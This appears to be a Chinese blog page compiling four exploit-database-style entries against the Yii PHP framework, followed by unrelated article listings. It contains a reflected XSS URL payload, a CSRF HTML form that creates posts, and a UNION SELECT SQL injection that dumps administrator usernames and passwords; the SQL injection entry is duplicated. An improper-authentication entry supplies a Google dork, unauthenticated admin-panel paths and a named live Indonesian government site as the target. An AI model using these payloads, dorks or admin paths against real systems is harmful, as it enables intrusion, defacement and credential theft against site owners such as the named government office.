一 Yii Framework 2.0.9 - Cross Site ScriptingPublished

# Exploit Title: Yii Framework 2.0.9 - Cross Site Scripting
# Discovery Date: 2019-02-12
# Exploit Author: Gionathan "John" Reale
# Vendor Homepage: https://www.yiiframework.com/
# Version: 2.0.9
# CVE : 2018-6010 In Yii Framework 2.x before 2.0.14, an reflected XSS vulnerability can be exploited from exception messages printed by the error handler in non-debug mode, related to base/ErrorHandler.php, log/Dispatcher.php, and views/errorHandler/exception.php. Example: http://fakewebsite.com/materiel/index?&MaterielTourModel[publication_date]=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%3Cscript%3Ealert(%221%22)%3C/script%3E

  

二 Powered by Yii Framework RBAC Manager for Yii 2 Improper Authentication Vulnerability

#################################################################################################

# Exploit Title : Powered by Yii Framework RBAC Manager for Yii 2 Improper Authentication Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Date : 01/07/2018
# Vendor Homepage : yiiframework.com
# Tested On : Windows
# Software Download and Installation Links : packagist.org/packages/mdmsoft/yii2-admin ~
github.com/yii2mod/yii2-rbac ~ github.com/mdmsoft/yii2-admin
+ yiiframework.com/extension/rbac-manager ~ yiiframework.com/extension/yii2-admin ~
+ travis-ci.org/mdmsoft/yii2-admin ~ scrutinizer-ci.com/g/mdmsoft/yii2-admin/?branch=master
+ codeclimate.com/github/mdmsoft/yii2-admin
# Category : WebApps
# Versions : 2.x and 3.x
# Exploit Risk : Medium
# CWE : CWE-287 [ Improper Authentication ] ################################################################################################# # Another Title : Powered by Yii Framework PHP Web Application Development Improper Authentication Vulnerability Yii Framework yii2-admin RBAC Manager for Yii 2 GUI manager for RABC (Role Base Access Control) Yii2. Easy to manage authorization of user Features of the Product [ Software ] Manage RBAC System in intuitive Tree-View
Ceep cool with rekursion protection in RBAC Tree
Generate PHP Code
Full relational move, create, edit, delete support of RBAC Tree items.
Assign and eject multiple Roles to and from multiple Users
Create predefined buisness Rules for User Assignments
Assign Roles in Secure Mode
By Controller protected and not changeable Roles and Assignments
Use easy checkAccess() methods in your Controller
Create easy bizRule Code in your RBAC Roles and Assignments ################################################################################################ # Description for Improper Authentication Vulnerability [ CWE-287 ] + When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct. + If software incorrectly validates user logon information or allows using different techniques of malicious credentials gathering
(e.g. brute force, spoofing or change the URL links without giving a username and pass), an attacker can gain certain privileges
within the application or disclose sensitive information. + If the parameter is equal to "user" the application allows viewing the information, if it is equal to "admin", then it is possible to edit information on the page: + If an attacker changes the value of the "group" parameter to "admin", he will be able to modify the page. + Powered by Yii Framework RBAC Manager for Yii 2 vulnerability results from software misconfiguration. + The attacker might be able to gain unauthorized access to the application and otherwise
restricted areas and perform certain actions, e.g. disclose sensitive information, alter application, or even execute arbitrary code. + An attacker can use a variety of vectors to exploit this weakness, including brute-force, session fixation, and Man-in-the-Middle (MitM) attacks. Reference [ Short Explained by me ] => CWE-287: Improper Authentication [cwe.mitre.org] ################################################################################################# # Google Dork : inurl:''/emusrenbang/web/index.php?r='' # Administration Login Panel => /emusrenbang/web/index.php?r=site%2Flogin # Exploit : No Username. No Password. No Need for Login Credentials. Web don't need login. Just enter this link after URL Link. /emusrenbang/web/index.php?r=admin Whatever you give an exploit like [ anything' OR 'x'='x ] or [ '=''or' ] and many others as SQL Authentication Bypass. It always says that '' Incorrect username or password. '' But we will jump over the admindoor wall. This is called as Improper Authentication Vulnerability. 127.0.0.1/emusrenbang/web/index.php?r=site%2Flogin => [ Proof of Concept ] => archive.is/BLaE5 127.0.0.1/emusrenbang/web/index.php?r=admin => [ Proof of Concept ] => archive.is/D9dKP Useable Admin Control Panel URL Links => /emusrenbang/web/index.php?r=admin
/emusrenbang/web/index.php?r=admin%2Fassignment
/emusrenbang/web/index.php?r=admin%2Frole
/emusrenbang/web/index.php?r=admin%2Fpermission
/emusrenbang/web/index.php?r=admin%2Froute
/emusrenbang/web/index.php?r=admin%2Frule
/emusrenbang/web/index.php?r=admin%2Fmenu
/emusrenbang/web/index.php?r=admin%2Fdefault%2Findex ################################################################################################# Indonesia Government Site [ Bappeda Provinsi Sumatera Utara 2016 ] is only vulnerable website. # Example Site => eplanning.sumutprov.go.id/emusrenbang/web/index.php?r=admin%2Fmenu # [ Proof of Concept ] => archive.is/lCRem ################################################################################################# # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team #################################################################################################

  

三 Yii Framework Blog Cross Site Request Forgery

# Exploit Title: Yii Framework Blog Application CSRF Vulnerability
# Date: 3 Mar 2014
# Author: Christy Philip Mathew
# Demo: Yii Blog Application - http://www.yiiframework.com/demos/blog/
# Category:: web
# Tested on: Windows 8 Attacker will be able to create a post. <html> <body>
<form action="
http://www.yiiframework.com/demos/blog/index.php/post/create" method="POST">
<input type="hidden" name="Post[title]" value="test" />
<input type="hidden" name="Post[content]" value="test" />
<input type="hidden" name="Post[tags]" value="test" />
<input type="hidden" name="Post[status]" value="2" />
<input type="hidden" name="yt0" value="Create" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>

  

四 Yii Framework Search SQL Injection Vulnerability

# Exploit Title: Yii Framework - Search SQL Injection Vulnerability
# Google Dork: No Dork
# Date: 20/11/2012
# Exploit Author: Juno_okyo
# Vendor Homepage: http://www.yiiframework.com/
# Software Link: http://www.yiiframework.com/download/
# Version: 1.1.8 (maybe another version)
#
####
Vulnerability:
################################## SQL Injection via search form. You can query to get some info about
administrator account and something... ##################################
Exploitation:
################################## ' UNION SELECT
1,group_concat(username,0x7c,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31
fRom user-- - ##################################
More Details:
################################## Website: http://junookyo.blogspot.com/
About Exploit:
http://junookyo.blogspot.com/2012/11/yii-framework-search-sql-injection.html ##################################
Great thanks to Juno_okyo and James - J2TeaM
##################################

  

# Exploit Title: Yii Framework - Search SQL Injection Vulnerability
# Google Dork: No Dork
# Date: 20/11/2012
# Exploit Author: Juno_okyo
# Vendor Homepage: http://www.yiiframework.com/
# Software Link: http://www.yiiframework.com/download/
# Version: 1.1.8 (maybe another version)
#
####
Vulnerability:
################################## SQL Injection via search form. You can query to get some info about
administrator account and something... ##################################
Exploitation:
################################## ' UNION SELECT
1,group_concat(username,0x7c,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31
fRom user-- - ##################################
More Details:
################################## Website: http://junookyo.blogspot.com/
About Exploit:
http://junookyo.blogspot.com/2012/11/yii-framework-search-sql-injection.html ##################################
Great thanks to Juno_okyo and James - J2TeaM
##################################

Yii Framework 漏洞整理的更多相关文章

  1. Yii框架(Yii Framework)部署

    一.下载Yii 在部署yii框架之前首先要搭建好php环境,这里就不说搭建环境的问题了(这里已经部署好wampserver了),环境搭建好后,到yii官方网站下载yii framework:http: ...

  2. 拓展Yii Framework(易框架)

    1.拓展yii 此文针对Yii1.1.15而写,请注意甄别你的Yii Framework 版本. 拓展yii是开发期间常见的代码处理方式.例如,你写一个新的controller(业务控制器),你通过继 ...

  3. YII Framework学习教程-YII的异常处理

    异常无处不在,作为程序员,活着就是为了创造这些异常,然后修复这些异常而存在的.YII框架封装了PHP的异常,让异常处理起来更简单. 使用 YII处理错误和异常的配置方法: 你可以在入口文件中定义YII ...

  4. Yii Framework 开发教程Zii组件-Tabs示例

    有关Yii Tab类: http://www.yiichina.com/api/CTabView http://www.yiichina.com/api/CJuiTabs http://blog.cs ...

  5. Yii framework 应用总结小窍门(转)

    1. Yii Framework] 如何获取当前controller的名称? 下面语句就可以获取当前控制器的名称了! Yii::app()->controller->id 2. yii 如 ...

  6. YII Framework学习教程-YII的Model-开发规范-路径别名-命名空间

    到这里,大概的YII开发已经基本可以,但是下面要将的所有课程,学完之后可以让你更爱YII.下面的教程是讲的MVC的M,model.数据,业务,代码的集中地区.所以开始之前,学学开发规范-路径别名-命名 ...

  7. Yii Framework隐藏index.php文件的步骤

    Yii Framework隐藏index.php文件的步骤 作者:feebas 发布于:2012-4-23 13:36 Monday 分类:Yii Framework 1.开启apache的mod_r ...

  8. PHP框架 Yii framework 用yiic命令时提示“php.exe”不是内部或外部命令

    解决方案 yii/framework/yiic.bat,修改 if "%PHP_COMMAND%" == "" set PHP_COMMAND=php.exei ...

  9. Yii框架的学习指南(策码秀才篇)1-1 如何认识Yii framework

    Yii的框架和其他框架的区别在于:它是更加 快速,安全,专业的PHP框架 Yii是一个高性能的,适用于开发WEB2.0应用的PHP框架. Yii是一个基于组件.用于开发大型 Web 应用的 高性能 P ...

随机推荐

  1. VMware15.5.0安装MacOS10.15.0系统 安装步骤(上)

    VMware15.5.0安装MacOS10.15.0系统安装步骤(上)超详细! 说明: 本文是目前最新的安装和调配教程且MacOS10.15和10.16版本搭建方法相同,我也会在一些细节地方加上小技巧 ...

  2. <学习笔记: Django之初见>

    Django 1. web框架介绍 具体介绍Django之前,必须先介绍WEB框架等概念. web框架: 别人已经设定好的一个web网站模板,你学习它的规则,然后“填空”或“修改”成你自己需要的样子. ...

  3. 【漫画】JAVA并发编程 如何解决原子性问题

    原创声明:本文转载自公众号[胖滚猪学编程],转载务必注明出处! 在并发编程BUG源头文章中,我们初识了并发编程的三个bug源头:可见性.原子性.有序性.在如何解决可见性和原子性文章中我们大致了解了可见 ...

  4. Kitty Cloud(HTTP_RPC)的全局异常处理

    项目地址 https://github.com/yinjihuan/kitty-cloud 异常处理不用我讲,大家都清楚.单独的异常处理太繁琐,全局异常处理可以在一个应用中统一进行异常的处理,非常方便 ...

  5. iOS中的事件响应链、单例模式、工厂模式、观察者模式

    学习内容 欢迎关注我的iOS学习总结--每天学一点iOS:https://github.com/practiceqian/one-day-one-iOS-summary iOS中事件传递和相应机制 i ...

  6. Spring Boot定时任务运行一段时间后自动关闭的解决办法

    用Spring Boot默认支持的 Scheduler来运行定时任务,有时在服务器运行一段时间后会自动关闭.原因:Schedule默认是单线程运行定时任务的,即使是多个不同的定时任务,默认也是单线程运 ...

  7. void 型指针的高阶用法,你掌握了吗?

    [导读] 要比较灵活的使用C语言实现一些高层级的框架时,需要掌握一些进阶编程技巧,这篇来谈谈void指针的一些妙用.测试环境采用 IAR for ARM 8.40.1 什么是void指针 void指针 ...

  8. java中关于对象的可达可用问题

    (注:本文引用知识纯粹为技术交流,未经允许不可私自转载)Java中其实也有内存泄露,就是因为对象无用却可达的原因.这个细分细分下来有三个1. 不可用不可达------>这种情况GC会帮我们回收掉 ...

  9. Redux:store

    Store是一个对象.他有如下职责: 1.存放state 2.对外提供访问state的接口: getState() 3.允许state更新:dispatch(action) 4.注册监听器: subs ...

  10. CSS类与选择器【转】http://www.cnblogs.com/duanhuajian/archive/2012/12/17/2821524.html

    1.在 HTML 中,一个 class 值中可能包含一个词列表,各个词之间用空格分隔.例如,如果希望将一个特定的元素同时标记为重要(important)和警告(warning),就可以写作(这两个词的 ...